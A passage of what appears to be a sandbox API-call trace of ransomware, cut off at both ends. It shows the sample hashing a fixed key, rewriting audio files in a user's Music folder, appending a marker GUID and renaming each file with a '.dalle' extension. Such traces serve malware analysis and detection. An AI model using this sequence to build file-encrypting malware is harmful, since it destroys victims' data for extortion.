(hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.487] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x160c0) returned 0x3096780 [0120.487] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.487] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.487] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x160b1, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x160b1, lpOverlapped=0x0) returned 1 [0120.488] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.488] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x160b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.488] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.488] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.488] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.488] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.488] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.488] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.488] CloseHandle (hObject=0x618) returned 1 [0120.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.490] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.490] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GuF8APTZ9unXBfPE-UL_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\guf8aptz9unxbfpe-ul_.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GuF8APTZ9unXBfPE-UL_.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\guf8aptz9unxbfpe-ul_.mp3.dalle")) returned 1 [0120.490] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.490] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.491] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0120.491] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2adf270, ftCreationTime.dwHighDateTime=0x1d4ce65, ftLastAccessTime.dwLowDateTime=0xdd7b5a50, ftLastAccessTime.dwHighDateTime=0x1d4ce3e, ftLastWriteTime.dwLowDateTime=0xdd7b5a50, ftLastWriteTime.dwHighDateTime=0x1d4ce3e, nFileSizeHigh=0x0, nFileSizeLow=0x1280c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j9WBFDemL.mp3", cAlternateFileName="J9WBFD~1.MP3")) returned 1 [0120.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.491] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.492] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j9WBFDemL.mp3") returned=".mp3" [0120.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j9WBFDemL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j9wbfdeml.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.492] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=75788) returned 1 [0120.492] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.494] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x127e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.494] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.495] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.495] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1280c, lpOverlapped=0x0) returned 1 [0120.496] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.496] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.496] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.496] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.497] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.497] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.497] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.497] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.497] GetLastError () returned 0x0 [0120.497] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.497] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x12810) returned 0x3096780 [0120.498] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.498] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x12807, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x12807, lpOverlapped=0x0) returned 1 [0120.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.498] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1280c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.499] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.499] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.499] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.499] CloseHandle (hObject=0x618) returned 1 [0120.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.500] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j9WBFDemL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j9wbfdeml.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j9WBFDemL.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j9wbfdeml.mp3.dalle")) returned 1 [0120.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.500] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.501] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.501] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e2740, ftCreationTime.dwHighDateTime=0x1d4cf3e, ftLastAccessTime.dwLowDateTime=0xf7eaccf0, ftLastAccessTime.dwHighDateTime=0x1d4ca7d, ftLastWriteTime.dwLowDateTime=0xf7eaccf0, ftLastWriteTime.dwHighDateTime=0x1d4ca7d, nFileSizeHigh=0x0, nFileSizeLow=0xcfec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L6arSbkZ7.wav", cAlternateFileName="L6ARSB~1.WAV")) returned 1 [0120.501] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.501] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.501] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.502] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\L6arSbkZ7.wav") returned=".wav" [0120.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\L6arSbkZ7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\l6arsbkz7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.502] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=53228) returned 1 [0120.502] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.504] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcfc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.504] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.505] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.505] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xcfec, lpOverlapped=0x0) returned 1 [0120.506] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.506] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.506] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.506] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.507] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.507] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.507] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.507] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.507] GetLastError () returned 0x0 [0120.507] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.507] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xcff0) returned 0x3096780 [0120.507] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.507] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xcfe7, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xcfe7, lpOverlapped=0x0) returned 1 [0120.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.508] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcfec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.508] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.508] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.508] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.508] CloseHandle (hObject=0x618) returned 1 [0120.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.509] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\L6arSbkZ7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\l6arsbkz7.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\L6arSbkZ7.wav.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\l6arsbkz7.wav.dalle")) returned 1 [0120.510] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.510] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.511] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.511] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac15b60, ftCreationTime.dwHighDateTime=0x1d4d2b5, ftLastAccessTime.dwLowDateTime=0xcf4b72c0, ftLastAccessTime.dwHighDateTime=0x1d4c63d, ftLastWriteTime.dwLowDateTime=0xcf4b72c0, ftLastWriteTime.dwHighDateTime=0x1d4c63d, nFileSizeHigh=0x0, nFileSizeLow=0xa6fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m5E4cMfxi NqFn.wav", cAlternateFileName="M5E4CM~1.WAV")) returned 1 [0120.511] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.511] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.511] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.511] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\m5E4cMfxi NqFn.wav") returned=".wav" [0120.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\m5E4cMfxi NqFn.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\m5e4cmfxi nqfn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.512] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=42748) returned 1 [0120.512] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.514] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa6d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.514] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.515] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.516] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xa6fc, lpOverlapped=0x0) returned 1 [0120.516] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.516] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.516] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.516] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.517] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.517] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.517] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.517] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.517] GetLastError () returned 0x0 [0120.517] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.517] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa700) returned 0x3096780 [0120.518] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.518] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xa6f7, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xa6f7, lpOverlapped=0x0) returned 1 [0120.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.518] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa6fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.518] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.518] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.518] WriteFile (in: 